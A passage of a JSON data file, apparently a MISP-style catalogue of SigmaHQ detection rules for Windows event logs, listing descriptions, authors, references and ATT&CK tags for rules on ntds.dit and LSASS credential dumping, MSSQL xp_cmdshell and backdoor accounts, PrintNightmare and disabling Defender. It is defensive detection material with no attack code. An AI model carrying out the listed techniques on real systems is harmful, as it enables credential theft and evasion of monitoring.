"7dbb86de-a0cc-494c-8aa8-b2996c9ef3c8", "value": "LPE InstallerFileTakeOver PoC CVE-2021-41379" }, { "description": "Detects MSI package installation from suspicious locations", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/31", "falsepositive": [ "False positives may occur if you allow installation from folders such as the desktop, the public folder or remote shares" ], "filename": "win_msi_install_from_susp_locations.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_msi_install_from_susp_locations.yml" ], "tags": [ "attack.execution" ] }, "uuid": "c7c8aa1c-5aff-408e-828b-998e3620b341", "value": "MSI Installation From Suspicious Locations" }, { "description": "Detects installation of a remote msi file from web.", "meta": { "author": "Stamatis Chatzimangou", "creation_date": "2022/10/23", "falsepositive": [ "Unknown" ], "filename": "win_msi_install_from_web.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/_st0pp3r_/status/1583922009842802689", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_msi_install_from_web.yml" ], "tags": [ "attack.execution", "attack.t1218", "attack.t1218.007" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5594e67a-7f92-4a04-b65d-1a42fd824a60", "value": "MSI Installation From Web" }, { "description": "Detects potential abuse of ntdsutil to dump ntds.dit database to a suspicious location", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/14", "falsepositive": [ "Legitimate backup operation/creating shadow copies" ], "filename": "win_esent_ntdsutil_abuse_susp_location.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)", "https://twitter.com/mgreen27/status/1558223256704122882", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_esent_ntdsutil_abuse_susp_location.yml" ], "tags": [ "attack.execution" ] }, "uuid": "94dc4390-6b7c-4784-8ffc-335334404650", "value": "Dump Ntds.dit To Suspicious Location" }, { "description": "This detection method points out highly relevant Antivirus events", "meta": { "author": "Florian Roth, Arnim Rupp", "creation_date": "2017/02/19", "falsepositive": [ "Some software piracy tools (key generators, cracks) are classified as hack tools" ], "filename": "win_av_relevant_match.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.virustotal.com/gui/file/13828b390d5f58b002e808c2c4f02fdd920e236cc8015480fa33b6c1a9300e31", "https://www.virustotal.com/gui/file/5092b2672b4cb87a8dd1c2e6047b487b95995ad8ed5e9fc217f46b8bfb1b8c01", "https://www.virustotal.com/gui/file/15b57c1b68cd6ce3c161042e0f3be9f32d78151fe95461eedc59a79fc222c7ed", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_av_relevant_match.yml" ], "tags": [ "attack.resource_development", "attack.t1588" ] }, "related": [ { "dest-uuid": "ce0687a0-e692-4b77-964a-0784a8e54ff1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "78bc5783-81d9-4d73-ac97-59f6db4f72a8", "value": "Relevant Anti-Virus Event" }, { "description": "Detects when the a stored procedure is set or cleared for automatic execution in MSSQL. A stored procedure that is set to automatic execution runs every time an instance of SQL Server is started", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/13", "falsepositive": [ "Legitimate use of the feature by administrators (rare)" ], "filename": "win_mssql_sp_procoption_set.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-procoption-transact-sql?view=sql-server-ver16", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_sp_procoption_set.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "b3d57a5c-c92e-4b48-9a79-5f124b7cf964", "value": "MSSQL SPProcoption Set" }, { "description": "Detects potential abuse of ntdsutil to dump ntds.dit database", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/14", "falsepositive": [ "Legitimate backup operation/creating shadow copies" ], "filename": "win_esent_ntdsutil_abuse.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)", "https://twitter.com/mgreen27/status/1558223256704122882", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_esent_ntdsutil_abuse.yml" ], "tags": [ "attack.execution" ] }, "uuid": "e6e88853-5f20-4c4a-8d26-cd469fd8d31f", "value": "Ntdsutil Abuse" }, { "description": "An application has been removed. Check if it is critical.", "meta": { "author": "frack113", "creation_date": "2022/01/28", "falsepositive": [ "Unknown" ], "filename": "win_builtin_remove_application.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_builtin_remove_application.yml" ], "tags": [ "attack.impact", "attack.t1489" ] }, "related": [ { "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "570ae5ec-33dc-427c-b815-db86228ad43e", "value": "Application Uninstalled" }, { "description": "This rule detects a suspicious crash of the Microsoft Malware Protection Engine", "meta": { "author": "Florian Roth", "creation_date": "2017/05/09", "falsepositive": [ "MsMpEng.exe can crash when C:\\ is full" ], "filename": "win_susp_msmpeng_crash.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://technet.microsoft.com/en-us/library/security/4022344", "https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_susp_msmpeng_crash.yml" ], "tags": [ "attack.defense_evasion", "attack.t1211", "attack.t1562.001" ] }, "related": [ { "dest-uuid": "fe926152-f431-4baf-956c-4ad3cb0bf23b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6c82cf5c-090d-4d57-9188-533577631108", "value": "Microsoft Malware Protection Engine Crash" }, { "description": "Detects when the MSSQL \"xp_cmdshell\" stored procedure setting is changed", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/12", "falsepositive": [ "Legitimate enable/disable of the setting", "Note that since the event contain the change for both values. This means that this will trigger on both enable and disable" ], "filename": "win_mssql_xp_cmdshell_change.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_xp_cmdshell_change.yml" ], "tags": [ "attack.execution" ] }, "uuid": "d08dd86f-681e-4a00-a92c-1db218754417", "value": "MSSQL XPCmdshell Option Change" }, { "description": "Detects windows error reporting event where the process that crashed is lsass. This could be the cause of an intentional crash by techniques such as Lsass-Shtinkering to dump credential", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/07", "falsepositive": [ "Rare legitimate crashing of the lsass process" ], "filename": "win_werfault_susp_lsass_credential_dump.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55", "https://github.com/deepinstinct/Lsass-Shtinkering", "https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_werfault_susp_lsass_credential_dump.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a18e0862-127b-43ca-be12-1a542c75c7c5", "value": "Potential Credential Dumping Via WER - Application" }, { "description": "Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited.\nMS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability.\nUnfortunately, that is about the only instance of CVEs being written to this log.\n", "meta": { "author": "Florian Roth, Zach Mathis", "creation_date": "2020/01/15", "falsepositive": [ "Unknown" ], "filename": "win_audit_cve.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.youtube.com/watch?v=ebmW42YYveI", "https://twitter.com/DidierStevens/status/1217533958096924676", "https://twitter.com/VM_vivisector/status/1217190929330655232", "https://nullsec.us/windows-event-log-audit-cve/", "https://twitter.com/FlemmingRiis/status/1217147415482060800", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_audit_cve.yml" ], "tags": [ "attack.execution", "attack.t1203", "attack.privilege_escalation", "attack.t1068", "attack.defense_evasion", "attack.t1211", "attack.credential_access", "attack.t1212", "attack.lateral_movement", "attack.t1210", "attack.impact", "attack.t1499.004" ] }, "related": [ { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "fe926152-f431-4baf-956c-4ad3cb0bf23b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "2bee5ffb-7a7a-4119-b1f2-158151b19ac0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "48d91a3a-2363-43ba-a456-ca71ac3da5c2", "value": "Audit CVE Event" }, { "description": "This rule detects the execution of the extended storage procedure backdoor named Maggie in the context of Microsoft SQL server", "meta": { "author": "Denis Szadkowski, DIRT / DCSO CyTec", "creation_date": "2022/10/09", "falsepositive": [ "Legitimate extended stored procedures named maggie" ], "filename": "win_mssql_sp_maggie.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://medium.com/@DCSO_CyTec/mssql-meet-maggie-898773df3b01", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_sp_maggie.yml" ], "tags": [ "attack.persistence", "attack.t1546" ] }, "related": [ { "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "711ab2fe-c9ba-4746-8840-5228a58c3cb8", "value": "MSSQL Extended Stored Procedure Backdoor Maggie" }, { "description": "Detects when the MSSQL \"xp_cmdshell\" stored procedure is used to execute commands", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/12", "falsepositive": [ "Unknown" ], "filename": "win_mssql_xp_cmdshell_audit_log.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_xp_cmdshell_audit_log.yml" ], "tags": [ "attack.execution" ] }, "uuid": "7f103213-a04e-4d59-8261-213dddf22314", "value": "MSSQL XPCmdshell Suspicious Execution" }, { "description": "Detects when an attacker tries to backdoor the MSSQL server by adding a backdoor account to the sysadmin fixed server role", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/13", "falsepositive": [ "Rare legitimate administrative activity" ], "filename": "win_mssql_add_sysadmin_account.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_add_sysadmin_account.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "08200f85-2678-463e-9c32-88dce2f073d1", "value": "MSSQL Add Account To Sysadmin Role" }, { "description": "Detects when an attacker calls the \"ALTER SERVER AUDIT\" or \"DROP SERVER AUDIT\" transaction in order to delete or disable audit logs on the server", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/13", "falsepositive": [ "This event should only fire when an administrator is modifying the audit policy. Which should be a rare occurrence once it's set up" ], "filename": "win_mssql_disable_audit_settings.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", "https://docs.microsoft.com/en-us/sql/t-sql/statements/alter-server-audit-transact-sql?view=sql-server-ver16", "https://docs.microsoft.com/en-us/sql/t-sql/statements/drop-server-audit-transact-sql?view=sql-server-ver16", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_disable_audit_settings.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "350dfb37-3706-4cdc-9e2e-5e24bc3a46df", "value": "MSSQL Disable Audit Settings" }, { "description": "This rule detects rare scheduled task creations. Typically software gets installed on multiple systems and not only on a few. The aggregation and count function selects tasks with rare names.", "meta": { "author": "Florian Roth", "creation_date": "2017/03/17", "falsepositive": [ "Software installation" ], "filename": "win_taskscheduler_rare_schtask_creation.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/taskscheduler/win_taskscheduler_rare_schtask_creation.yml" ], "tags": [ "attack.persistence", "attack.s0111", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b20f6158-9438-41be-83da-a5a16ac90c2b", "value": "Rare Scheduled Task Creations" }, { "description": "Detects the execution of Scheduled Tasks where the Program being run is located in a suspicious location or it's an unusale program to be run from a Scheduled Task", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/05", "falsepositive": [ "Unknown" ], "filename": "win_taskscheduler_susp_task_locations.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/taskscheduler/win_taskscheduler_susp_task_locations.yml" ], "tags": [ "attack.persistence", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "424273ea-7cf8-43a6-b712-375f925e481f", "value": "Suspicious Scheduled Tasks Locations" }, { "description": "Detects plugged/unplugged USB devices", "meta": { "author": "Florian Roth", "creation_date": "2017/11/09", "falsepositive": [ "Legitimate administrative activity" ], "filename": "win_usb_device_plugged.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://df-stream.com/2014/01/the-windows-7-event-log-and-usb-device/", "https://www.techrepublic.com/article/how-to-track-down-usb-flash-drive-usage-in-windows-10s-event-viewer/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/driverframeworks/win_usb_device_plugged.yml" ], "tags": [ "attack.initial_access", "attack.t1200" ] }, "uuid": "1a4bd6e3-4c6e-405d-a9a3-53a116e341d4", "value": "USB Device Plugged" }, { "description": "Detects loading of diagcab packages from a remote path, as seen in DogWalk vulnerability", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/14", "falsepositive": [ "Legitimate package hosted on a known and authorized remote location" ], "filename": "win_diagnosis_scripted_load_remote_diagcab.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/j00sean/status/1537750439701225472", "https://twitter.com/nas_bench/status/1539679555908141061", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/diagnosis/scripted/win_diagnosis_scripted_load_remote_diagcab.yml" ], "tags": [ "attack.execution" ] }, "uuid": "50cb47b8-2c33-4b23-a2e9-4600657d9746", "value": "Loading Diagcab Package From Remote Path" }, { "description": "Detects attempted DLL load events that didn't meet anti-malware or Windows signing level requirements. It often means the file's signature is revoked or expired", "meta": { "author": "Florian Roth, Nasreddine Bencherchali", "creation_date": "2022/01/20", "falsepositive": [ "Antivirus products" ], "filename": "win_codeintegrity_attempted_dll_load.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log", "https://twitter.com/SBousseaden/status/1483810148602814466", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_attempted_dll_load.yml" ], "tags": [ "attack.execution" ] }, "uuid": "f8931561-97f5-4c46-907f-0a4a592e47a7", "value": "Code Integrity Attempted DLL Load" }, { "description": "Detects blocked load events that did not meet the authenticode signing level requirements or violated code integrity policy", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/11/10", "falsepositive": [ "Unknown" ], "filename": "win_codeintegrity_blocked_driver_load.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log", "https://twitter.com/wdormann/status/1590434950335320065", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_blocked_driver_load.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1543" ] }, "related": [ { "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e4be5675-4a53-426a-8c81-a8bb2387e947", "value": "Code Integrity Blocked Driver Load" }, { "description": "Detects blocked load attempts of revoked drivers", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/11/10", "falsepositive": [ "Unknown" ], "filename": "win_codeintegrity_revoked_driver.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/wdormann/status/1590434950335320065", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_revoked_driver.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1543" ] }, "related": [ { "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9b72b82d-f1c5-4632-b589-187159bc6ec1", "value": "Block Load Of Revoked Driver" }, { "description": "Detects repeated failed (outgoing) attempts to mount a hidden share", "meta": { "author": "Fabian Franz", "creation_date": "2022/08/30", "falsepositive": [ "Legitimate administrative activity", "Faulty scripts" ], "filename": "win_susp_failed_hidden_share_mount.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Cyber-Security/SiSyPHuS/AP10/Logging_Configuration_Guideline.pdf?__blob=publicationFile&v=5", "https://twitter.com/moti_b/status/1032645458634653697", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/smbclient/win_susp_failed_hidden_share_mount.yml" ], "tags": [ "attack.t1021.002", "attack.lateral_movement" ] }, "uuid": "1c3be8c5-6171-41d3-b792-cab6f717fcdb", "value": "Failed Mounting of Hidden Share" }, { "description": "Detect Attempt PrintNightmare (CVE-2021-1675) Remote code execution in Windows Spooler Service", "meta": { "author": "Florian Roth, KevTheHermit, fuzzyf10w", "creation_date": "2021/06/30", "falsepositive": [ "Account fallback reasons (after failed login with specific account)" ], "filename": "win_susp_failed_guest_logon.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/hhlxf/PrintNightmare", "https://twitter.com/KevTheHermit/status/1410203844064301056", "https://github.com/afwu/PrintNightmare", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/smbclient/win_susp_failed_guest_logon.yml" ], "tags": [ "attack.credential_access", "attack.t1110.001" ] }, "uuid": "71886b70-d7b4-4dbf-acce-87d2ca135262", "value": "Suspicious Rejected SMB Guest Logon From IP" }, { "description": "Detects suspicious application installed by looking at the added shortcut to the app resolver cache", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/14", "falsepositive": [ "Packages or applications being legitimately used by users or administrators" ], "filename": "win_shell_core_susp_packages_installed.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://nasbench.medium.com/finding-forensic-goodness-in-obscure-windows-event-logs-60e978ea45a3", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/shell_core/win_shell_core_susp_packages_installed.yml" ], "tags": [ "attack.execution" ] }, "uuid": "83c161b6-ca67-4f33-8ad0-644a0737cf07", "value": "Suspicious Application Installed" }, { "description": "Detects scenarios where an attacker enables the OpenSSH server and server starts to listening on SSH socket.", "meta": { "author": "mdecrevoisier", "creation_date": "2022/10/25", "falsepositive": [ "Legitimate administrator activity" ], "filename": "win_sshd_openssh_server_listening_on_socket.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0008-Lateral%20Movement/T1021.004-Remote%20Service%20SSH", "https://virtualizationreview.com/articles/2020/05/21/ssh-server-on-windows-10.aspx", "https://winaero.com/enable-openssh-server-windows-10/", "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", "https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/openssh/win_sshd_openssh_server_listening_on_socket.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.004" ] }, "uuid": "3ce8e9a4-bc61-4c9b-8e69-d7e2492a8781", "value": "OpenSSH Server Listening On Socket" }, { "description": "Detects events of driver load errors in print service logs that could be a sign of successful exploitation attempts of print spooler vulnerability CVE-2021-1675", "meta": { "author": "Florian Roth, KevTheHermit, fuzzyf10w, Tim Shelton", "creation_date": "2021/06/30", "falsepositive": [ "Problems with printer drivers" ], "filename": "win_exploit_cve_2021_1675_printspooler.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/fuzzyf10w/status/1410202370835898371", "https://github.com/hhlxf/PrintNightmare", "https://github.com/afwu/PrintNightmare", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/printservice/win_exploit_cve_2021_1675_printspooler.yml" ], "tags": [ "attack.execution", "attack.t1569", "cve.2021.1675" ] }, "related": [ { "dest-uuid": "d157f9d2-d09a-4efa-bb2a-64963f94e253", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4e64668a-4da1-49f5-a8df-9e2d5b866718", "value": "Possible CVE-2021-1675 Print Spooler Exploitation" }, { "description": "Detects driver load events print service operational log that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675", "meta": { "author": "Florian Roth", "creation_date": "2021/07/01", "falsepositive": [ "Unknown" ], "filename": "win_exploit_cve_2021_1675_printspooler_operational.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/MalwareJake/status/1410421967463731200", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/printservice/win_exploit_cve_2021_1675_printspooler_operational.yml" ], "tags": [ "attack.execution", "attack.t1569", "cve.2021.1675" ] }, "related": [ { "dest-uuid": "d157f9d2-d09a-4efa-bb2a-64963f94e253", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f34d942d-c8c4-4f1f-b196-22471aecf10a", "value": "CVE-2021-1675 Print Spooler Exploitation" }, { "description": "Detects blocked attempts to change any of Defender's settings such as \"Real Time Monitoring\" and \"Behavior Monitoring\"", "meta": { "author": "Bhabesh Raj, Nasreddine Bencherchali", "creation_date": "2021/07/05", "falsepositive": [ "Administrator might try to disable defender features during testing (must be investigated)" ], "filename": "win_defender_tamper_protection_trigger.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://bhabeshraj.com/post/tampering-with-microsoft-defenders-tamper-protection", "https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_tamper_protection_trigger.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "49e5bc24-8b86-49f1-b743-535f332c2856", "value": "Microsoft Defender Tamper Protection Trigger" }, { "description": "Detects disabling Windows Defender threat protection", "meta": { "author": "Ján Trenčanský, frack113", "creation_date": "2020/07/28", "falsepositive": [ "Administrator actions (should be investigated)" ], "filename": "win_defender_disabled.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_disabled.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "fe34868f-6e0e-4882-81f6-c43aa8f15b62", "value": "Windows Defender Threat Detection Disabled" }, { "description": "Detects Access to LSASS Process", "meta": { "author": "Markus Neis", "creation_date": "2018/08/26", "falsepositive": [ "Google Chrome GoogleUpdate.exe", "Some Taskmgr.exe related activity" ], "filename": "win_defender_alert_lsass_access.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard?WT.mc_id=twitter", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_alert_lsass_access.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a0a278fe-2c0e-4de2-ac3c-c68b08a9ba98", "value": "LSASS Access Detected via Attack Surface Reduction" }, { "description": "Detects blocking of process creations originating from PSExec and WMI commands", "meta": { "author": "Bhabesh Raj", "creation_date": "2020/07/14", "falsepositive": [ "Unknown" ], "filename": "win_defender_psexec_wmi_asr.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/duff22b/status/1280166329660497920", "https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction?WT.mc_id=twitter#block-process-creations-originating-from-psexec-and-wmi-commands", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_psexec_wmi_asr.yml" ], "tags": [ "attack.execution", "attack.lateral_movement", "attack.t1047", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "97b9ce1e-c5ab-11ea-87d0-0242ac130003", "value": "PSExec and WMI Process Creations Block" }, { "description": "Detects the Setting of Windows Defender Exclusions", "meta": { "author": "Christian Burkard", "creation_date": "2021/07/06", "falsepositive": [ "Administrator actions" ], "filename": "win_defender_exclusions.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/_nullbind/status/1204923340810543109", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_exclusions.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "1321dc4e-a1fe-481d-a016-52c45f0c8b4f", "value": "Windows Defender Exclusions Added" }, { "description": "Windows Defender logs when the history of detected infections is deleted. Log file will contain the message \"Windows Defender Antivirus has removed history of malware and other potentially unwanted software\".", "meta": { "author": "Cian Heasley", "creation_date": "2020/08/13", "falsepositive": [ "Deletion of Defender malware detections history for legitimate reasons" ], "filename": "win_defender_history_delete.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", 